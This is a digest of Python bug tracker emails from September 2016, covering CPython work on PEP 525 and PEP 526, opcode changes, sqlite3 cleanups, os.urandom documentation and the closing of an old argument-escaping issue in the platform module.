From report at bugs.python.org  Thu Sep  8 23:55:27 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 03:55:27 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473393243.04.0.979210022199.issue27985@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLKVQxMiyPcjRUrRRs=gN_xZaq=o04yZj4RFR7m=_Qnfw@mail.gmail.com>


Guido van Rossum added the comment:

W00t! Thank Ivan for the code! And thanks Yury and Brett for the review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:04:38 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 04:04:38 +0000
Subject: [issue26982] Clarify forward annotations in PEP 484
In-Reply-To: <1462756311.8.0.304204398387.issue26982@psf.upfronthosting.co.za>
Message-ID: <1473393878.04.0.864862418533.issue26982@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

The PEPs repo is not on github. Please resubmit this patch as a PR at https://github.com/python/peps. (Sorry for all the indirections to different trackers.)

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26982>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:06:16 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 04:06:16 +0000
Subject: [issue26982] Clarify forward annotations in PEP 484
In-Reply-To: <1473393878.04.0.864862418533.issue26982@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJL7BiY9OzcPWgvvS6fYRHMT4cAncDWUyrnQUdYV_hmGEA@mail.gmail.com>


Guido van Rossum added the comment:

(And by "not" I meant "now". Sorry.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26982>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:21:00 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 04:21:00 +0000
Subject: [issue21541] Provide configure option --with-ssl for compilation with
 custom openssl
In-Reply-To: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za>
Message-ID: <1473394860.3.0.845800119403.issue21541@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

machyniak: Your patch appears to be missing the diff to configure.ac.

----------
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21541>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:32:15 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 04:32:15 +0000
Subject: [issue19717] resolve() fails when the path doesn't exist
In-Reply-To: <1385142353.37.0.842056066182.issue19717@psf.upfronthosting.co.za>
Message-ID: <1473395535.41.0.900788389104.issue19717@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19717>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:33:12 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 04:33:12 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1451340978.99.0.13064674256.issue25969@psf.upfronthosting.co.za>
Message-ID: <1473395592.12.0.84285840577.issue25969@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
assignee:  -> gregory.p.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:39:10 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 04:39:10 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473395950.14.0.95586146514.issue27137@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is a patch that makes C implementation repr matching Python implementation repr. It should be applied to all Python versions (the code is new).

----------
Added file: http://bugs.python.org/file44483/functools_partial_recursive_repr.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:49:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 04:49:39 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473374033.11.0.0467096793074.issue28027@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwaUoOJguDLEoUC6bJK6r_cAGVrYR223Fy26O72KqTYV_Q@mail.gmail.com>


STINNER Victor added the comment:

Yeah! Thanks Zach :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:51:38 2016
From: report at bugs.python.org (koobs)
Date: Fri, 09 Sep 2016 04:51:38 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473396698.57.0.603602139657.issue28027@psf.upfronthosting.co.za>


koobs added the comment:

YES, finally. Thanks :)

----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:51:52 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 04:51:52 +0000
Subject: [issue16112] platform.architecture does not correctly escape argument
 to /usr/bin/file
In-Reply-To: <1349205316.95.0.274773533894.issue16112@psf.upfronthosting.co.za>
Message-ID: <1473396712.75.0.154668187387.issue16112@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Christian: would you mind to review my old patch (and rebase it if needed)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16112>
_______________________________________

From report at bugs.python.org  Fri Sep  9 00:55:02 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 04:55:02 +0000
Subject: [issue28035] make buildbottest when configured --with-optimizations
 can cause a recompile?
Message-ID: <1473396902.46.0.10925434221.issue28035@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

See the logs from this build for example:

http://buildbot.python.org/all/builders/AMD64%20Debian%20PGO%203.x/builds/4

Notice how the test stdio shows it recompiling all over again.

This is happening even on a "successful" test:
http://buildbot.python.org/all/builders/AMD64%20Debian%20PGO%203.5/builds/1/steps/test/logs/stdio

----------
assignee: gregory.p.smith
messages: 275255
nosy: gregory.p.smith
priority: high
severity: normal
status: open
title: make buildbottest when configured --with-optimizations can cause a recompile?
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28035>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:00:03 2016
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Fri, 09 Sep 2016 05:00:03 +0000
Subject: [issue20979] Calling getdents()/readdir64() repeatedly while closing
 descriptors provides unexpected behaviour.
In-Reply-To: <1395240826.46.0.532005505249.issue20979@psf.upfronthosting.co.za>
Message-ID: <1473397203.78.0.239534329136.issue20979@psf.upfronthosting.co.za>


???? ????????? added the comment:

Yes, it is still relevant. For example for closing fds after fork().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20979>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:02:03 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 05:02:03 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <20160909050159.8732.23917.BA246894@psf.io>


Roundup Robot added the comment:

New changeset 5259588983ca by Yury Selivanov in branch 'default':
Issue #28003: Implement PEP 525 -- Asynchronous Generators.
https://hg.python.org/cpython/rev/5259588983ca

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:02:37 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 05:02:37 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <1473397357.95.0.158365093202.issue28003@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Committed. Thanks Victor for the review!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:02:50 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 05:02:50 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <1473397370.02.0.726879607106.issue28003@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:03:18 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 05:03:18 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <1473397398.85.0.933689097503.issue28003@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


Added file: http://bugs.python.org/file44484/async_gen.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:07:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 05:07:56 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473397676.2.0.182316545734.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Rebased change.

----------
Added file: http://bugs.python.org/file44485/callfunc-7.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:12:16 2016
From: report at bugs.python.org (Stefan Drees)
Date: Fri, 09 Sep 2016 05:12:16 +0000
Subject: [issue27350] Compact and ordered dict
In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za>
Message-ID: <1473397936.45.0.871216124257.issue27350@psf.upfronthosting.co.za>


Changes by Stefan Drees <stefan at drees.name>:


----------
nosy: +dilettant

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27350>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:13:01 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 05:13:01 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1473397981.54.0.104919799088.issue27292@psf.upfronthosting.co.za>


Martin Panter added the comment:

Do you want to do an alternative patch Victor? Or point out all the specific bits of my patch you don?t like?

I haven?t really been keeping up to date with the getrandom() changes. Though I imagine even Python 3.6?s os.urandom() will still fall back to /dev/urandom (with potential entropy problem) on older Linux versions. Is the consensus that we want to warn about insecure results on Linux >= 3.17, but don?t want to warn about older Linux versions?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:14:29 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 05:14:29 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473398069.73.0.908255733356.issue27213@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Serhiy, Victor and I want this to be merged tomorrow morning PST to land in 3.6 before the freeze.  Would you be able to merge this yourself?  If not, we'll do it ourselves in the morning.

----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:21:21 2016
From: report at bugs.python.org (Georg Brandl)
Date: Fri, 09 Sep 2016 05:21:21 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473398481.61.0.820598409793.issue26331@psf.upfronthosting.co.za>


Georg Brandl added the comment:

Please go ahead. Thanks for taking care of this!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:37:52 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 09 Sep 2016 05:37:52 +0000
Subject: [issue28036] Remove unused pysqlite_flush_statement_cache function
Message-ID: <1473399471.98.0.74217614333.issue28036@psf.upfronthosting.co.za>


New submission from Berker Peksag:

This looks like unused since years. Here's a patch that removes it.

----------
components: Extension Modules
files: flush-statement-cache.diff
keywords: patch
messages: 275263
nosy: berker.peksag, ghaering
priority: normal
severity: normal
stage: patch review
status: open
title: Remove unused pysqlite_flush_statement_cache function
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44486/flush-statement-cache.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28036>
_______________________________________

From report at bugs.python.org  Fri Sep  9 01:47:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 05:47:39 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473400059.26.0.0690305445319.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Known issues:
> * test_traceback and test_extcall fail
> * _PyEval_EvalCodeWithName2() should be merged into _PyEval_EvalCodeWithName() to factorize the code

I fixed test_extcall and removed _PyEval_EvalCodeWithName2(): callfunc-8.patch.

I don't know how to fix test_traceback.

@Serhiy: I really need the patch tomorrow. Would you mind to push it? If you are unable to fix test_traceback, just skip the test with a FIXME and open a new issue (it should be easy to fix it later).

I really want to finish METH_FASTCALL, issue #27810, before the first beta next monday and basically tomorrow is for me the last time when I can still push things.

If we really find a major design issue, you still have 3 to 4 months to revert the change. If we find a minor design flaw or another optimization, again, we will still have time to enhance the code during the beta stage. The most important part is to push the major change to reduce changes after the first beta.

----------
Added file: http://bugs.python.org/file44487/callfunc-8.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 02:07:38 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 06:07:38 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473401258.71.0.461796123425.issue27985@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Thank you Guido, Yury, Brett, and Serhiy!

It is first time I make such kind of contribution. It was a great experience and a great opportunity to better understand CPython internals (I already have several ideas on what to work next :-)

I will soon submit a PR to python/typing with copy of typing changes (also Python2 version) and a patch to remove com2ann script to a separate repo as discussed with Guido.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Fri Sep  9 02:19:58 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 09 Sep 2016 06:19:58 +0000
Subject: [issue28037] Use sqlite3_get_autocommit() instead of setting
 Connection->inTransaction manually
Message-ID: <1473401998.41.0.140269538481.issue28037@psf.upfronthosting.co.za>


New submission from Berker Peksag:

This is basically a backport of https://github.com/ghaering/pysqlite/commit/9b79188edbc50faa24dc178afe24a10454f3fcad except that Connection.in_transaction is exposed since Python 3.2.

----------
components: Extension Modules
files: in_transaction.diff
keywords: patch
messages: 275266
nosy: berker.peksag, ghaering
priority: normal
severity: normal
stage: patch review
status: open
title: Use sqlite3_get_autocommit() instead of setting Connection->inTransaction manually
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44488/in_transaction.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28037>
_______________________________________

From report at bugs.python.org  Fri Sep  9 02:29:23 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 06:29:23 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <1473402563.24.0.438864683548.issue27985@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

You're welcome.

> It is first time I make such kind of contribution. It was a great experience and a great opportunity to better understand CPython internals (I already have several ideas on what to work next :-)

If you need any help/mentoring please don't hesitate to approach me directly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Fri Sep  9 02:29:57 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 06:29:57 +0000
Subject: [issue27112] tokenize.__all__ list is incomplete
In-Reply-To: <1464123395.58.0.823594635343.issue27112@psf.upfronthosting.co.za>
Message-ID: <1473402597.34.0.939499525719.issue27112@psf.upfronthosting.co.za>


Martin Panter added the comment:

Thanks Jacek. I would prefer to go with v2.patch.

----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27112>
_______________________________________

From report at bugs.python.org  Fri Sep  9 02:47:38 2016
From: report at bugs.python.org (Alex Warhawk)
Date: Fri, 09 Sep 2016 06:47:38 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473403658.7.0.39501143727.issue19500@psf.upfronthosting.co.za>


Changes by Alex Warhawk <ax.warhawk at gmail.com>:


----------
nosy:  -Alex Warhawk

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:01:00 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 07:01:00 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1473404460.48.0.678679158937.issue27292@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Though I imagine even Python 3.6?s os.urandom() will still fall back to /dev/urandom (with potential entropy problem) on older Linux versions.

Right, but you should be more specific in the doc.

os.urandom() is unsecure if and only if:

* getrandom() is not available (ex: Linux < 3.17, or Python built without getrandom() for different reasons) or don't work (ex: blocked by a stupid SECCOMP policy, ex: issue #27955)
* and /dev/urandom is not initialized yet which means that:

  - the currently running Python runs very early during the system initialization,
  - the system has no good source of entropy and slow entropy sources, 
  - no entropy was stored on the disk on a previous boot.

What I don't want: a doc warning that "oh hey, os.urandom() is unsafe, don't use it for anything serious".

os.urandom() is always secure on all platforms except Linux. On Linux, it's secure is almost all cases, except on a very few very tiny corner cases.

I proposed something like:

"On Linux, os.urandom() can return weak entropy when /dev/urandom is used internally and the system urandom entropy pool is not initialized yet."

I'm not even sure about "weak entropy" because in most cases, /dev/urandom is already partially initialized with good entropy, but just not enough to consider that it's fully initialized. Linux uses many entropy sources but don't trust them, so don't consider that these input data counts for the entropy counter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:02:09 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 07:02:09 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <1473404529.56.0.419761102059.issue28003@psf.upfronthosting.co.za>


Martin Panter added the comment:

I am getting a new GCC warning:

./Python/sysmodule.c:1425:28: warning: initialization from incompatible pointer type [-Wincompatible-pointer-types]
     {"set_asyncgen_hooks", sys_set_asyncgen_hooks,
                            ^~~~~~~~~~~~~~~~~~~~~~
./Python/sysmodule.c:1425:28: note: (near initialization for ?sys_methods[34].ml_meth?)

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:02:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 07:02:56 +0000
Subject: [issue27106] configparser.__all__ is incomplete
In-Reply-To: <1464121705.13.0.123221989673.issue27106@psf.upfronthosting.co.za>
Message-ID: <20160909070252.48384.61179.C0B37B49@psf.io>


Roundup Robot added the comment:

New changeset 739528288996 by Martin Panter in branch 'default':
Issue #27106: Add test for configparser.__all__
https://hg.python.org/cpython/rev/739528288996

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27106>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:06:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 07:06:08 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <20160909070559.19131.71904.8081955A@psf.io>


Roundup Robot added the comment:

New changeset 910e293663cb by Yury Selivanov in branch 'default':
Issue #28003: Fix a compiler warning
https://hg.python.org/cpython/rev/910e293663cb

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:06:25 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 07:06:25 +0000
Subject: [issue28003] PEP 525 asynchronous generators implementation
In-Reply-To: <1473269374.39.0.509274285807.issue28003@psf.upfronthosting.co.za>
Message-ID: <1473404785.05.0.576061230376.issue28003@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Thanks, Martin, it should be fixed now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28003>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:06:34 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 07:06:34 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
Message-ID: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Guido,

Here is a patch to remove com2ann (also it looks like Yury added a second entry for me in MISC/Acks, so that I am removing it).

----------
components: Demos and Tools
files: remove-com2ann.diff
keywords: patch
messages: 275274
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Remove com2ann script (will be in separate repo)
versions: Python 3.6
Added file: http://bugs.python.org/file44489/remove-com2ann.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:08:46 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 07:08:46 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
In-Reply-To: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>
Message-ID: <1473404926.16.0.584855594473.issue28038@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Context: "Issue #27985: Implement PEP 526 -- Syntax for Variable Annotations."

> Here is a patch to remove com2ann

Can you please just explain why you don't want this tool?

----------
nosy: +haypo, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:10:41 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 07:10:41 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
In-Reply-To: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>
Message-ID: <1473405041.83.0.243518694231.issue28038@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Victor,

Guido proposed to publish com2ann script in a separate repo on github.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:20:49 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 09 Sep 2016 07:20:49 +0000
Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx
In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za>
Message-ID: <1473405649.86.0.580796806975.issue27867@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

As in, for arguments that have __index__() methods, do the conversion to a true Python integer eagerly when the slice is built rather than lazily when slice.indices() (or the C-level equivalent) is called?

That actually seems like a potentially plausible future approach to me, but isn't a change I'd want to make hastily - those values are visible as the start, stop and step attributes on the slice, and https://docs.python.org/3/reference/datamodel.html#types currently describes those as "These attributes can have any type."

Given that folks do a lot of arcane things with the subscript notation, I wouldn't want to break working code if we have less intrusive alternatives.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27867>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:26:04 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 09 Sep 2016 07:26:04 +0000
Subject: [issue16112] platform.architecture does not correctly escape argument
 to /usr/bin/file
In-Reply-To: <1349205316.95.0.274773533894.issue16112@psf.upfronthosting.co.za>
Message-ID: <1473405964.33.0.537595388126.issue16112@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

Shouldn't this ticket be closed ?

platform is using subprocess on both the 2.7 and trunk, so the issue should be fixed - and indeed I cannot reproduce it anymore.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16112>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:30:17 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 09 Sep 2016 07:30:17 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473406217.77.0.477105076889.issue28005@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

Yes, that's intended. See e.g. the mbcs codec.

If a search function gets an ImportError, it interprets this as "codec is not available/working", and then gives other search functions a chance to find a working one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:34:22 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 07:34:22 +0000
Subject: [issue16112] platform.architecture does not correctly escape argument
 to /usr/bin/file
In-Reply-To: <1349205316.95.0.274773533894.issue16112@psf.upfronthosting.co.za>
Message-ID: <1473406462.87.0.337040952973.issue16112@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Oh right, I didn't read the history of the issue. _syscmd_file() doesn't use popen() anymore, but subprocess, so the issue can now be closed.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16112>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:38:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 07:38:04 +0000
Subject: [issue16112] platform.architecture does not correctly escape argument
 to /usr/bin/file
In-Reply-To: <1349205316.95.0.274773533894.issue16112@psf.upfronthosting.co.za>
Message-ID: <1473406684.59.0.0260456995675.issue16112@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Note: Other platform functions still use os.popen(), you might open new issues.

_syscmd_ver:

    for cmd in ('ver', 'command /c ver', 'cmd /c ver'):
        try:
            pipe = os.popen(cmd)
    ...

def _syscmd_uname(option, default=''):
    ...
        f = os.popen('uname %s 2> %s' % (option, DEV_NULL))

Note: there is also platform.popen() which is deprecated since Python 3.3, we might also remove it from Python 3.7 as well (I think that it's now too late for Python 3.6).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16112>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:53:56 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Fri, 09 Sep 2016 07:53:56 +0000
Subject: [issue21879] str.format() gives poor diagnostic on placeholder
 mismatch
In-Reply-To: <1404052648.46.0.81950938275.issue21879@psf.upfronthosting.co.za>
Message-ID: <1473407636.94.0.49051936604.issue21879@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44490/format.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21879>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:54:01 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 07:54:01 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
Message-ID: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>


New submission from Martin Panter:

Revision 7eaaac5ad4e8 removed a bunch of ?with_statement? __future__ imports, including in Tools/hg/hgtouch.py. This is causing a buildbot to fail; presumably it has Python < 2.6 for Mercurial:

http://buildbot.python.org/all/builders/x86%20Tiger%203.x/builds/11301/steps/touch/logs/stdio
Tools/hg/hgtouch.py:22: Warning: 'with' will become a reserved keyword in Python 2.6
